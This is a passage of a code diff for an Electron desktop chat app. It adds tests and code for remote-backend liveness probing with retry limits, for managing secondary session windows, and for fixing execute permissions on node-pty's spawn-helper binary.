+  it('cleans up a rejected probe so it can be retried', async () => {
+    const coordinator = new RemoteRevalidationCoordinator()
+    const connection = Promise.resolve({ baseUrl: 'https://gateway.example.com' })
+    const probe = vi.fn().mockRejectedValueOnce(new Error('offline')).mockResolvedValueOnce('healthy')
+
+    await expect(coordinator.run(connection, probe)).rejects.toThrow('offline')
+    await expect(coordinator.run(connection, probe)).resolves.toBe('healthy')
+    expect(probe).toHaveBeenCalledTimes(2)
+  })
+})
+
+describe('revalidateRemoteConnection', () => {
+  function harness(overrides: Record<string, unknown> = {}) {
+    const connection = { baseUrl: 'https://gateway.example.com/', mode: 'remote' }
+    const connectionPromise = Promise.resolve(connection)
+    const current = { promise: connectionPromise as null | Promise<typeof connection> }
+    const log = vi.fn()
+    const probe = vi.fn().mockResolvedValue({ ok: true })
+    const resetConnection = vi.fn()
+    const tracker = new RemoteLivenessTracker()
+
+    return {
+      connectionPromise,
+      current,
+      log,
+      options: {
+        connectionPromise,
+        currentConnectionPromise: () => current.promise,
+        log,
+        probe,
+        resetConnection,
+        tracker,
+        ...overrides
+      },
+      probe,
+      resetConnection,
+      tracker
+    }
+  }
+
+  it('probes the normalized status URL with the production timeout', async () => {
+    const test = harness()
+
+    await expect(revalidateRemoteConnection(test.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    expect(test.probe).toHaveBeenCalledWith('https://gateway.example.com/api/status', {
+      timeoutMs: REMOTE_LIVENESS_TIMEOUT_MS
+    })
+    expect(test.resetConnection).not.toHaveBeenCalled()
+  })
+
+  it('keeps failures one and two, then resets on the third failure', async () => {
+    const probe = vi.fn().mockRejectedValue(new Error('offline'))
+    const test = harness({ probe })
+
+    await expect(revalidateRemoteConnection(test.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    await expect(revalidateRemoteConnection(test.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    await expect(revalidateRemoteConnection(test.options)).resolves.toEqual({ ok: true, rebuilt: true })
+
+    expect(probe).toHaveBeenCalledTimes(3)
+    expect(test.resetConnection).toHaveBeenCalledOnce()
+    expect(test.log).toHaveBeenNthCalledWith(1, expect.stringContaining('(1/3)'))
+    expect(test.log).toHaveBeenNthCalledWith(2, expect.stringContaining('(2/3)'))
+    expect(test.log).toHaveBeenLastCalledWith(expect.stringContaining('dropping stale connection'))
+  })
+
+  it('ignores a late failed probe after the cached connection is replaced', async () => {
+    let rejectProbe: (error: Error) => void = () => undefined
+
+    const probe = vi.fn(
+      () =>
+        new Promise((_resolve, reject) => {
+          rejectProbe = reject
+        })
+    )
+
+    const test = harness({ probe })
+    const pending = revalidateRemoteConnection(test.options)
+
+    await Promise.resolve()
+    test.current.promise = Promise.resolve({ baseUrl: 'https://new.example.com', mode: 'remote' })
+    rejectProbe(new Error('old connection failed'))
+
+    await expect(pending).resolves.toEqual({ ok: true, rebuilt: false })
+    expect(test.resetConnection).not.toHaveBeenCalled()
+    expect(test.log).not.toHaveBeenCalled()
+    expect(test.tracker.recordFailure('https://gateway.example.com')).toEqual({ failures: 1, shouldReset: false })
+  })
+
+  it('does not probe a local, rejected, or already replaced connection', async () => {
+    const replaced = harness()
+
+    replaced.current.promise = null
+    await expect(revalidateRemoteConnection(replaced.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    expect(replaced.probe).not.toHaveBeenCalled()
+
+    const localConnection = { baseUrl: 'http://127.0.0.1:3000', mode: 'local' }
+    const localPromise = Promise.resolve(localConnection)
+
+    const local = harness({
+      connectionPromise: localPromise,
+      currentConnectionPromise: () => localPromise
+    })
+
+    await expect(revalidateRemoteConnection(local.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    expect(local.probe).not.toHaveBeenCalled()
+
+    const rejectedPromise = Promise.reject(new Error('boot failed'))
+
+    const rejected = harness({
+      connectionPromise: rejectedPromise,
+      currentConnectionPromise: () => rejectedPromise
+    })
+
+    await expect(revalidateRemoteConnection(rejected.options)).resolves.toEqual({ ok: true, rebuilt: false })
+    expect(rejected.probe).not.toHaveBeenCalled()
+  })
+})
+
+describe('revalidatePooledRemoteBackends', () => {
+  const harness = (entries: Array<[string, { process?: unknown; remoteBaseUrl?: null | string }]>) => {
+    const unreachable = new Set<string>()
+    const log = vi.fn()
+    const stopBackend = vi.fn()
+
+    const probe = vi.fn(async (url: string) => {
+      if ([...unreachable].some(base => url.startsWith(base))) {
+        throw new Error('unreachable')
+      }
+
+      return {}
+    })
+
+    return {
+      log,
+      probe,
+      stopBackend,
+      unreachable,
+      run: (tracker: RemoteLivenessTracker) =>
+        revalidatePooledRemoteBackends({ entries, log, probe, stopBackend, tracker })
+    }
+  }
+
+  it('probes only pooled entries backed by a remote host', async () => {
+    const local = { process: {}, remoteBaseUrl: null }
+    const spawning = { process: null, remoteBaseUrl: null }
+    const remote = { process: null, remoteBaseUrl: 'https://remote.example.com' }
+
+    const pool = harness([
+      ['local', local],
+      ['spawning', spawning],
+      ['remote', remote]
+    ])
+
+    await pool.run(new RemoteLivenessTracker())
+
+    expect(pool.probe).toHaveBeenCalledTimes(1)
+    expect(pool.probe).toHaveBeenCalledWith('https://remote.example.com/api/status', {
+      timeoutMs: REMOTE_LIVENESS_TIMEOUT_MS
+    })
+    expect(pool.stopBackend).not.toHaveBeenCalled()
+  })
+
+  it('drops a descriptor only after the shared failure limit', async () => {
+    const pool = harness([['coder', { process: null, remoteBaseUrl: 'https://remote.example.com/' }]])
+    pool.unreachable.add('https://remote.example.com')
+
+    const tracker = new RemoteLivenessTracker()
+
+    for (let attempt = 1; attempt < REMOTE_LIVENESS_FAILURE_LIMIT; attempt += 1) {
+      await expect(pool.run(tracker)).resolves.toEqual({ dropped: [] })
+      expect(pool.stopBackend).not.toHaveBeenCalled()
+    }
+
+    await expect(pool.run(tracker)).resolves.toEqual({ dropped: ['coder'] })
+    expect(pool.stopBackend).toHaveBeenCalledWith('coder')
+  })
+
+  it('clears the streak when the host answers again', async () => {
+    const pool = harness([['coder', { process: null, remoteBaseUrl: 'https://remote.example.com' }]])
+    const tracker = new RemoteLivenessTracker()
+
+    pool.unreachable.add('https://remote.example.com')
+    await pool.run(tracker)
+
+    pool.unreachable.clear()
+    await pool.run(tracker)
+
+    pool.unreachable.add('https://remote.example.com')
+
+    for (let attempt = 1; attempt < REMOTE_LIVENESS_FAILURE_LIMIT; attempt += 1) {
+      await expect(pool.run(tracker)).resolves.toEqual({ dropped: [] })
+    }
+
+    expect(pool.stopBackend).not.toHaveBeenCalled()
+    await expect(pool.run(tracker)).resolves.toEqual({ dropped: ['coder'] })
+  })
+
+  it('keeps a healthy sibling when another profile on a different host dies', async () => {
+    const pool = harness([
+      ['coder', { process: null, remoteBaseUrl: 'https://dead.example.com' }],
+      ['writer', { process: null, remoteBaseUrl: 'https://live.example.com' }]
+    ])
+
+    pool.unreachable.add('https://dead.example.com')
+
+    const tracker = new RemoteLivenessTracker()
+
+    for (let attempt = 1; attempt < REMOTE_LIVENESS_FAILURE_LIMIT; attempt += 1) {
+      await pool.run(tracker)
+    }
+
+    await expect(pool.run(tracker)).resolves.toEqual({ dropped: ['coder'] })
+    expect(pool.stopBackend).toHaveBeenCalledTimes(1)
+    expect(pool.stopBackend).toHaveBeenCalledWith('coder')
+  })
+})
diff --git a/ui-desktop/electron/remote-liveness.ts b/ui-desktop/electron/remote-liveness.ts
new file mode 100644
index 000000000..85ce07de5
--- /dev/null
+++ b/ui-desktop/electron/remote-liveness.ts
@@ -0,0 +1,244 @@
+export const REMOTE_LIVENESS_TIMEOUT_MS = 10_000
+export const REMOTE_LIVENESS_FAILURE_LIMIT = 3
+// Even at the capped retry path, consecutive liveness observations are at most
+// about 48s apart (ticket mint + socket open + backoff + the next status probe).
+// One minute keeps a continuous outage together without carrying old failures.
+export const REMOTE_LIVENESS_FAILURE_WINDOW_MS = 60_000
+
+export interface RemoteLivenessFailure {
+  failures: number
+  shouldReset: boolean
+}
+
+interface RemoteConnectionDescriptor {
+  baseUrl?: null | string
+  mode?: null | string
+}
+
+export interface RevalidateRemoteConnectionOptions<TConnection extends RemoteConnectionDescriptor> {
+  connectionPromise: Promise<TConnection>
+  currentConnectionPromise: () => null | Promise<TConnection>
+  log: (message: string) => void
+  probe: (url: string, options: { timeoutMs: number }) => Promise<unknown>
+  resetConnection: () => void
+  tracker: RemoteLivenessTracker
+}
+
+export interface RemoteRevalidationResult {
+  ok: true
+  rebuilt: boolean
+}
+
+/**
+ * Coalesces revalidation work for one cached connection promise.
+ *
+ * Every Desktop BrowserWindow owns a renderer gateway loop. When several
+ * windows observe the same disconnect they can all ask the Electron main
+ * process to revalidate the shared primary connection at once. Those calls
+ * must count as one probe, not several consecutive failures.
+ */
+export class RemoteRevalidationCoordinator {
+  readonly #inflightByConnection = new WeakMap<object, Promise<unknown>>()
+
+  run<T>(connection: object, task: () => Promise<T>): Promise<T> {
+    const existing = this.#inflightByConnection.get(connection) as Promise<T> | undefined
+
+    if (existing) {
+      return existing
+    }
+
+    const pending = Promise.resolve().then(task)
+
+    const clear = () => {
+      if (this.#inflightByConnection.get(connection) === pending) {
+        this.#inflightByConnection.delete(connection)
+      }
+    }
+
+    this.#inflightByConnection.set(connection, pending)
+    // Clean up on both outcomes without creating an unhandled rejected branch.
+    void pending.then(clear, clear)
+
+    return pending
+  }
+}
+
+/**
+ * Tracks consecutive remote liveness failures independently per gateway.
+ * A successful probe clears the streak, and reaching the limit consumes it so
+ * a rebuilt connection starts from a clean state.
+ */
+export class RemoteLivenessTracker {
+  readonly #failureLimit: number
+  readonly #failureWindowMs: number
+  readonly #failuresByBaseUrl = new Map<string, { failures: number; lastFailureAt: number }>()
+  readonly #now: () => number
+
+  constructor(
+    failureLimit = REMOTE_LIVENESS_FAILURE_LIMIT,
+    failureWindowMs = REMOTE_LIVENESS_FAILURE_WINDOW_MS,
+    now: () => number = Date.now
+  ) {
+    if (!Number.isInteger(failureLimit) || failureLimit < 1) {
+      throw new Error('Remote liveness failure limit must be a positive integer.')
+    }
+
+    if (!Number.isFinite(failureWindowMs) || failureWindowMs < 1) {
+      throw new Error('Remote liveness failure window must be positive.')
+    }
+
+    this.#failureLimit = failureLimit
+    this.#failureWindowMs = failureWindowMs
+    this.#now = now
+  }
+
+  recordSuccess(baseUrl: string): void {
+    this.#failuresByBaseUrl.delete(baseUrl)
+  }
+
+  recordFailure(baseUrl: string): RemoteLivenessFailure {
+    const now = this.#now()
+    const previous = this.#failuresByBaseUrl.get(baseUrl)
+    const withinFailureWindow = previous && now - previous.lastFailureAt <= this.#failureWindowMs
+    const failures = (withinFailureWindow ? previous.failures : 0) + 1
+    const shouldReset = failures >= this.#failureLimit
+
+    if (shouldReset) {
+      this.#failuresByBaseUrl.delete(baseUrl)
+    } else {
+      this.#failuresByBaseUrl.set(baseUrl, { failures, lastFailureAt: now })
+    }
+
+    return { failures, shouldReset }
+  }
+
+  clear(): void {
+    this.#failuresByBaseUrl.clear()
+  }
+}
+
+export interface PooledRemoteEntry {
+  process?: unknown
+  remoteBaseUrl?: null | string
+}
+
+export interface RevalidatePooledRemoteBackendsOptions {
+  entries: Iterable<[string, PooledRemoteEntry]>
+  log: (message: string) => void
+  probe: (url: string, options: { timeoutMs: number }) => Promise<unknown>
+  stopBackend: (profile: string) => void
+  tracker: RemoteLivenessTracker
+}
+
+/**
+ * Probe pooled REMOTE descriptors and drop the dead ones.
+ *
+ * A pooled entry backed by a remote host has no child process, so the 'exit'
+ * handler that clears a dead local backend never fires, and the renderer's
+ * keepalive touch keeps the idle reaper off it. Without this the pool serves a
+ * descriptor for an unreachable host indefinitely.
+ *
+ * Entries share the primary's failure policy, keyed per base URL, so a profile
+ * pointing at the same host as another does not burn the streak twice as fast.
+ */
+export async function revalidatePooledRemoteBackends({
+  entries,
+  log,
+  probe,
+  stopBackend,
+  tracker
+}: RevalidatePooledRemoteBackendsOptions): Promise<{ dropped: string[] }> {
+  const remotes = [...entries].filter(([, entry]) => !entry.process && entry.remoteBaseUrl)
+  const dropped: string[] = []
+
+  await Promise.all(
+    remotes.map(async ([profile, entry]) => {
+      const baseUrl = String(entry.remoteBaseUrl).replace(/\/+$/, '')
+
+      try {
+        await probe(`${baseUrl}/api/status`, { timeoutMs: REMOTE_LIVENESS_TIMEOUT_MS })
+        tracker.recordSuccess(baseUrl)
+      } catch {
+        const failure = tracker.recordFailure(baseUrl)
+
+        if (!failure.shouldReset) {
+          log(
+            `Pooled remote backend for profile "${profile}" failed liveness probe (${failure.failures}/${REMOTE_LIVENESS_FAILURE_LIMIT}); keeping descriptor for retry.`
+          )
+
+          return
+        }
+
+        log(`Pooled remote backend for profile "${profile}" failed liveness probe; dropping stale descriptor.`)
+        stopBackend(profile)
+        dropped.push(profile)
+      }
+    })
+  )
+
+  return { dropped }
+}
+
+/**
+ * Probe the cached primary remote connection and apply the failure policy.
+ * The caller owns single-flight coordination; identity checks here ensure an
+ * old async result cannot mutate or reset a replacement connection.
+ */
+export async function revalidateRemoteConnection<TConnection extends RemoteConnectionDescriptor>({
+  connectionPromise,
+  currentConnectionPromise,
+  log,
+  probe,
+  resetConnection,
+  tracker
+}: RevalidateRemoteConnectionOptions<TConnection>): Promise<RemoteRevalidationResult> {
+  let connection: TConnection
+
+  try {
+    connection = await connectionPromise
+  } catch {
+    // The cached boot already rejected; its own recovery path will clear it.
+    return { ok: true, rebuilt: false }
+  }
+
+  if (currentConnectionPromise() !== connectionPromise) {
+    return { ok: true, rebuilt: false }
+  }
+
+  if (connection.mode !== 'remote' || !connection.baseUrl) {
+    return { ok: true, rebuilt: false }
+  }
+
+  const baseUrl = connection.baseUrl.replace(/\/+$/, '')
+
+  try {
+    await probe(`${baseUrl}/api/status`, { timeoutMs: REMOTE_LIVENESS_TIMEOUT_MS })
+
+    if (currentConnectionPromise() !== connectionPromise) {
+      return { ok: true, rebuilt: false }
+    }
+
+    tracker.recordSuccess(baseUrl)
+
+    return { ok: true, rebuilt: false }
+  } catch {
+    if (currentConnectionPromise() !== connectionPromise) {
+      return { ok: true, rebuilt: false }
+    }
+
+    const failure = tracker.recordFailure(baseUrl)
+
+    if (!failure.shouldReset) {
+      log(
+        `Cached remote ClawCodex backend failed liveness probe (${failure.failures}/${REMOTE_LIVENESS_FAILURE_LIMIT}); keeping connection for retry.`
+      )
+
+      return { ok: true, rebuilt: false }
+    }
+
+    log('Cached remote ClawCodex backend failed liveness probe; dropping stale connection.')
+    resetConnection()
+
+    return { ok: true, rebuilt: true }
+  }
+}
diff --git a/ui-desktop/electron/session-windows.test.ts b/ui-desktop/electron/session-windows.test.ts
new file mode 100644
index 000000000..a3dbfc04e
--- /dev/null
+++ b/ui-desktop/electron/session-windows.test.ts
@@ -0,0 +1,223 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  buildSessionWindowUrl,
+  chatWindowWebPreferences,
+  createSessionWindowRegistry,
+  instanceWindowBounds
+} from './session-windows'
+
+// A minimal fake BrowserWindow: tracks listeners + destroyed state and lets a
+// test fire the 'closed' event, mirroring the slice of the Electron API the
+// registry actually touches.
+function makeFakeWindow() {
+  const listeners = {}
+  const calls = { focus: 0, show: 0, restore: 0 }
+  let destroyed = false
+  let minimized = false
+  let visible = true
+
+  return {
+    on(event, handler) {
+      listeners[event] = handler
+
+      return this
+    },
+    emit(event) {
+      listeners[event]?.()
+    },
+    isDestroyed: () => destroyed,
+    destroy() {
+      destroyed = true
+    },
+    isMinimized: () => minimized,
+    setMinimized(value) {
+      minimized = value
+    },
+    isVisible: () => visible,
+    setVisible(value) {
+      visible = value
+    },
+    restore() {
+      calls.restore += 1
+      minimized = false
+    },
+    show() {
+      calls.show += 1
+      visible = true
+    },
+    focus() {
+      calls.focus += 1
+    },
+    calls
+  }
+}
+
+test('buildSessionWindowUrl puts the secondary flag before the hash route (dev server)', () => {
+  const url = buildSessionWindowUrl('abc123', { devServer: 'http://localhost:5173' })
+
+  assert.equal(url, 'http://localhost:5173/?win=secondary#/abc123')
+})
+
+test('buildSessionWindowUrl avoids a double slash when the dev server has a trailing slash', () => {
+  const url = buildSessionWindowUrl('abc123', { devServer: 'http://localhost:5173/' })
+
+  assert.equal(url, 'http://localhost:5173/?win=secondary#/abc123')
+})
+
+test('buildSessionWindowUrl encodes the session id in the hash route', () => {
+  const url = buildSessionWindowUrl('a b/c', { devServer: 'http://localhost:5173' })
+
+  // The query flag must precede the '#' or HashRouter would swallow it as the
+  // route; the id is URL-encoded so slashes/spaces survive routeSessionId().
+  assert.equal(url, 'http://localhost:5173/?win=secondary#/a%20b%2Fc')
+  assert.ok(url.indexOf('?win=secondary') < url.indexOf('#'))
+})
+
+test('buildSessionWindowUrl builds a packaged file URL with the flag before the hash', () => {
+  const url = buildSessionWindowUrl('abc', { rendererIndexPath: '/opt/app/index.html' })
+
+  assert.match(url, /^file:\/\/.*index\.html\?win=secondary#\/abc$/)
+})
+
+test('buildSessionWindowUrl adds the watch flag for spectator windows, before the hash', () => {
+  const url = buildSessionWindowUrl('abc', { devServer: 'http://localhost:5173', watch: true })
+
+  assert.equal(url, 'http://localhost:5173/?win=secondary&watch=1#/abc')
+})
+
+test('instanceWindowBounds cascades a new window off its source bounds', () => {
+  const bounds = instanceWindowBounds({ x: 100, y: 120, width: 1400, height: 900 }, { width: 1, height: 1 })
+
+  assert.deepEqual(bounds, { width: 1400, height: 900, x: 132, y: 152 })
+})
+
+test('instanceWindowBounds falls back to the persisted geometry with no source window', () => {
+  const fallback = { width: 1280, height: 800 }
+
+  assert.equal(instanceWindowBounds(null, fallback), fallback)
+})
+
+test('registry opens one window per session and focuses on re-open', () => {
+  const registry = createSessionWindowRegistry()
+  let built = 0
+  const win = makeFakeWindow()
+
+  const factory = () => {
+    built += 1
+
+    return win
+  }
+
+  const first = registry.openOrFocus('s1', factory)
+  const second = registry.openOrFocus('s1', factory)
+
+  assert.equal(built, 1, 'factory runs once for the same session')
+  assert.equal(first, second)
+  assert.equal(registry.size, 1)
+  assert.equal(win.calls.focus, 1, 'second open focuses the existing window')
+})
+
+test('registry restores + shows a minimized/hidden window on re-open', () => {
+  const registry = createSessionWindowRegistry()
+  const win = makeFakeWindow()
+  registry.openOrFocus('s1', () => win)
+
+  win.setMinimized(true)
+  win.setVisible(false)
+  registry.openOrFocus('s1', () => win)
+
+  assert.equal(win.calls.restore, 1)
+  assert.equal(win.calls.show, 1)
+  assert.equal(win.calls.focus, 1)
+})
+
+test('registry drops the entry when the window closes', () => {
+  const registry = createSessionWindowRegistry()
+  const win = makeFakeWindow()
+  registry.openOrFocus('s1', () => win)
+  assert.equal(registry.size, 1)
+
+  win.emit('closed')
+
+  assert.equal(registry.size, 0)
+  assert.equal(registry.has('s1'), false)
+})
+
+test('registry rebuilds a fresh window after the previous one was destroyed', () => {
+  const registry = createSessionWindowRegistry()
+  const first = makeFakeWindow()
+  registry.openOrFocus('s1', () => first)
+  first.destroy()
+
+  let built = 0
+  const second = makeFakeWindow()
+
+  const result = registry.openOrFocus('s1', () => {
+    built += 1
+
+    return second
+  })
+
+  assert.equal(built, 1, 'a destroyed window is replaced, not focused')
+  assert.equal(result, second)
+})
+
+test('registry ignores empty / non-string session ids', () => {
+  const registry = createSessionWindowRegistry()
+  let built = 0
+
+  const factory = () => {
+    built += 1
+
+    return makeFakeWindow()
+  }
+
+  assert.equal(registry.openOrFocus('', factory), null)
+  assert.equal(registry.openOrFocus('   ', factory), null)
+  assert.equal(registry.openOrFocus(null, factory), null)
+  assert.equal(registry.openOrFocus(42, factory), null)
+  assert.equal(built, 0)
+  assert.equal(registry.size, 0)
+})
+
+test('registry trims the session id before keying', () => {
+  const registry = createSessionWindowRegistry()
+  const win = makeFakeWindow()
+  registry.openOrFocus('  s1  ', () => win)
+
+  assert.equal(registry.has('s1'), true)
+})
+
+test('chatWindowWebPreferences leaves background throttling to the runtime stream dial', () => {
+  // Regression (both directions): a static `backgroundThrottling: false` here
+  // pinned document.visibilityState to 'visible' forever, turning every
+  // visibility-gated poll into an always-on timer (~20% CPU at idle,
+  // minimized). Streaming's "paint while blurred" need is served by
+  // stream-throttle.ts flipping setBackgroundThrottling at turn boundaries —
+  // so the static flag must stay absent.
+  const prefs = chatWindowWebPreferences('/tmp/preload.cjs')
+
+  assert.equal('backgroundThrottling' in prefs, false)
+})
+
+test('chatWindowWebPreferences passes the preload path through and keeps the hardened defaults', () => {
+  const prefs = chatWindowWebPreferences('/some/preload.cjs')
+
+  assert.equal(prefs.preload, '/some/preload.cjs')
+  assert.equal(prefs.contextIsolation, true)
+  assert.equal(prefs.sandbox, true)
+  assert.equal(prefs.nodeIntegration, false)
+})
+
+test('chatWindowWebPreferences allows autoplay so wake-started voice speaks its first reply', () => {
+  // Regression: Chromium's default autoplay policy suspends audio until a user
+  // gesture. A wake-word-started voice conversation has no preceding click, so
+  // the first reply's playback was rejected and only turn 2+ spoke. A native
+  // app the user launched should not gate audio on a gesture.
+  const prefs = chatWindowWebPreferences('/tmp/preload.cjs')
+
+  assert.equal(prefs.autoplayPolicy, 'no-user-gesture-required')
+})
diff --git a/ui-desktop/electron/session-windows.ts b/ui-desktop/electron/session-windows.ts
new file mode 100644
index 000000000..56fc0446d
--- /dev/null
+++ b/ui-desktop/electron/session-windows.ts
@@ -0,0 +1,162 @@
+// Secondary "session windows" — one extra OS window per chat so a user can
+// work with multiple chats side by side. The pure, Electron-free pieces live
+// here so they can be unit-tested with node --test (mirroring how the rest of
+// electron/*.ts splits testable logic out of the main.ts monolith).
+
+import { pathToFileURL } from 'node:url'
+
+// Secondary windows open at the minimum usable size — a compact side panel for
+// subagent watch / cmd-click session pop-out, not a second full desktop.
+const SESSION_WINDOW_MIN_WIDTH = 420
+const SESSION_WINDOW_MIN_HEIGHT = 620
+
+// Shared webPreferences for every window that renders the chat transcript — the
+// primary window AND the secondary session windows. Keeping it in one place is
+// the whole point: the two BrowserWindow definitions in main.ts used to be
+// hand-copied, and the secondary windows silently drifted apart (a streamed
+// answer stalled until the window regained focus because one of them lost the
+// throttling opt-out).
+//
+// Background throttling is deliberately NOT set here. It is managed at runtime
+// by main.ts (`setBackgroundThrottling` driven by the merged `clawcodex:active-work`
+// reports): while any turn is in flight every chat window is unthrottled so the
+// transcript's bounded timer flush keeps painting while blurred, occluded, or
+// minimized — and once all turns finish, Chromium's default throttling returns
+// so an idle hidden window costs ~nothing. A static `backgroundThrottling:
+// false` here would pin `document.visibilityState` to 'visible' forever,
+// turning every visibility-gated poll in the renderer into an always-on timer
+// (the "ClawCodex idles at 20% CPU while minimized" bug). The preload path is
+// injected because it depends on the Electron entry's __dirname.
+//
+// `autoplayPolicy: 'no-user-gesture-required'` is load-bearing for voice:
+// Chromium's default autoplay policy suspends audio (HTMLAudioElement.play()
+// and AudioContext) until the user has interacted with the frame. A voice
+// conversation started by the "Hey ClawCodex" wake word has NO preceding click,
+// so the FIRST reply's audio playback was rejected (NotAllowedError, silently
+// swallowed) and only turn 2+ spoke — the very "first message in a new voice
+// session is silent" bug. Manual voice-start worked only because the button
+// click counted as the gesture. This is a native app the user deliberately
+// launched; there is no drive-by-autoplay concern to protect against.
+function chatWindowWebPreferences(preloadPath: string) {
+  return {
+    preload: preloadPath,
+    contextIsolation: true,
+    webviewTag: true,
+    sandbox: true,
+    nodeIntegration: false,
+    devTools: true,
+    autoplayPolicy: 'no-user-gesture-required' as const
+  }
+}
+
+// Build the renderer URL for a secondary window. The renderer uses a
+// HashRouter, so the session route lives after the '#'. The `?win=secondary`
+// flag MUST sit in the query string BEFORE the '#': anything after the '#' is
+// treated as the route by HashRouter and would break routeSessionId(). The
+// renderer reads the flag from window.location.search to suppress the install /
+// onboarding overlays and the global session sidebar. `watch=1` marks a
+// spectator window (e.g. a running subagent's session): the renderer resumes it
+// lazily so the gateway never builds an agent just to stream into it.
+function buildSessionWindowUrl(sessionId: string, { devServer, rendererIndexPath, watch }: any = {}) {
+  const query = `?win=secondary${watch ? '&watch=1' : ''}`
+  const route = `#/${encodeURIComponent(sessionId)}`
+
+  if (devServer) {
+    const base = devServer.endsWith('/') ? devServer.slice(0, -1) : devServer
+
+    return `${base}/${query}${route}`
+  }
+
+  return `${pathToFileURL(rendererIndexPath).toString()}${query}${route}`
+}
+
+// Full "instance" windows (⌘⇧N / the "New Window" command) open a complete app
+// peer, not a compact chat. Cascade each one off its source window's bounds so a
+// new window doesn't land exactly on top of the one it was spawned from. Pure so
+// it's unit-testable; the Electron glue (reading the focused window's bounds,
+// constructing the BrowserWindow) stays in main.ts. `base` is the source
+// window's current bounds, or null when there's no live source window — then the
+// persisted primary geometry (`fallback`) is used as-is.
+const INSTANCE_CASCADE_OFFSET = 32
+
+function instanceWindowBounds(base: { x: number; y: number; width: number; height: number } | null, fallback: any) {
+  if (!base) {
+    return fallback
+  }
+
+  return {
+    width: base.width,
+    height: base.height,
+    x: base.x + INSTANCE_CASCADE_OFFSET,
+    y: base.y + INSTANCE_CASCADE_OFFSET
+  }
+}
+
+// A small registry keyed by sessionId that guarantees one window per chat:
+// opening a session that already has a live window focuses it instead of
+// spawning a duplicate, and a window removes itself from the registry when it
+// closes. The actual BrowserWindow construction is injected (the `factory`) so
+// this module stays free of Electron and is unit-testable.
+function createSessionWindowRegistry() {
+  const windows = new Map()
+
+  function openOrFocus(sessionId, factory) {
+    const key = typeof sessionId === 'string' ? sessionId.trim() : ''
+
+    if (!key) {
+      return null
+    }
+
+    const existing = windows.get(key)
+
+    if (existing && !existing.isDestroyed()) {
+      // Focus-or-create: never duplicate a window for the same chat.
+      if (typeof existing.isMinimized === 'function' && existing.isMinimized()) {
+        existing.restore?.()
+      }
+
+      if (typeof existing.isVisible === 'function' && !existing.isVisible()) {
+        existing.show?.()
+      }
+
+      existing.focus?.()
+
+      return existing
+    }
+
+    const win = factory(key)
+
+    if (!win) {
+      return null
+    }
+
+    windows.set(key, win)
+
+    // Self-cleanup on close so the registry never holds a destroyed window.
+    win.on?.('closed', () => {
+      if (windows.get(key) === win) {
+        windows.delete(key)
+      }
+    })
+
+    return win
+  }
+
+  return {
+    openOrFocus,
+    get: key => windows.get(key),
+    has: key => windows.has(key),
+    get size() {
+      return windows.size
+    }
+  }
+}
+
+export {
+  buildSessionWindowUrl,
+  chatWindowWebPreferences,
+  createSessionWindowRegistry,
+  instanceWindowBounds,
+  SESSION_WINDOW_MIN_HEIGHT,
+  SESSION_WINDOW_MIN_WIDTH
+}
diff --git a/ui-desktop/electron/spawn-helper-perms.test.ts b/ui-desktop/electron/spawn-helper-perms.test.ts
new file mode 100644
index 000000000..caabb2bf3
--- /dev/null
+++ b/ui-desktop/electron/spawn-helper-perms.test.ts
@@ -0,0 +1,159 @@
+import assert from 'node:assert/strict'
+import { join } from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  ensureSpawnHelperExecutable,
+  needsExecBit,
+  spawnHelperCandidates,
+  type SpawnHelperFs,
+  withExecBits,
+  writableNodePtyRoot
+} from './spawn-helper-perms'
+
+interface FakeFile {
+  mode: number
+  statThrows?: boolean
+  chmodThrows?: boolean
+}
+
+function fakeFs(
+  files: Record<string, FakeFile>,
+  dirs: Record<string, string[]> = {}
+): SpawnHelperFs & { chmods: { path: string; mode: number }[] } {
+  const chmods: { path: string; mode: number }[] = []
+
+  return {
+    chmods,
+    existsSync(path) {
+      return path in files || path in dirs
+    },
+    readdirSync(path) {
+      return dirs[path] ?? []
+    },
+    statSync(path) {
+      const file = files[path]
+
+      if (!file || file.statThrows) {
+        throw new Error(`stat failed: ${path}`)
+      }
+
+      return { mode: file.mode }
+    },
+    chmodSync(path, mode) {
+      const file = files[path]
+
+      if (file?.chmodThrows) {
+        throw new Error(`chmod failed: ${path}`)
+      }
+
+      chmods.push({ path, mode })
+
+      if (file) {
+        file.mode = mode
+      }
+    }
+  }
+}
+
+test('rewrites an archived node-pty root to the matching unpacked tree exactly once', () => {
+  assert.equal(
+    writableNodePtyRoot('/ClawCodex.app/Contents/Resources/app.asar/dist/node_modules/node-pty'),
+    '/ClawCodex.app/Contents/Resources/app.asar.unpacked/dist/node_modules/node-pty'
+  )
+  assert.equal(
+    writableNodePtyRoot('/ClawCodex.app/Contents/Resources/app.asar.unpacked/dist/node_modules/node-pty'),
+    '/ClawCodex.app/Contents/Resources/app.asar.unpacked/dist/node_modules/node-pty'
+  )
+})
+
+test('uses the unpacked helper when resolution reports an app.asar node-pty root', () => {
+  const archivedRoot = '/ClawCodex.app/Contents/Resources/app.asar/dist/node_modules/node-pty'
+  const unpackedRoot = writableNodePtyRoot(archivedRoot)
+  const helper = join(unpackedRoot, 'prebuilds', 'darwin-arm64', 'spawn-helper')
+  const fs = fakeFs({ [helper]: { mode: 0o644 } }, { [join(unpackedRoot, 'prebuilds')]: ['darwin-arm64'] })
+
+  const result = ensureSpawnHelperExecutable(archivedRoot, fs)
+
+  assert.deepEqual(result.fixed, [helper])
+  assert.deepEqual(result.errors, [])
+  assert.deepEqual(fs.chmods, [{ path: helper, mode: 0o755 }])
+})
+
+test('needsExecBit / withExecBits treat any missing exec bit as non-executable', () => {
+  assert.equal(needsExecBit(0o644), true)
+  assert.equal(needsExecBit(0o755), false)
+  // Partial exec bits (owner only) still count as needing repair.
+  assert.equal(needsExecBit(0o744), true)
+  // Preserves read/write bits while adding exec for all three classes.
+  assert.equal(withExecBits(0o644), 0o755)
+  assert.equal(withExecBits(0o600), 0o711)
+})
+
+test('candidates cover every prebuild dir plus build/Release', () => {
+  const root = '/pkg/node-pty'
+
+  const fs = fakeFs({}, { [join(root, 'prebuilds')]: ['darwin-arm64', 'darwin-x64', 'linux-x64'] })
+
+  assert.deepEqual(spawnHelperCandidates(root, fs), [
+    join(root, 'prebuilds', 'darwin-arm64', 'spawn-helper'),
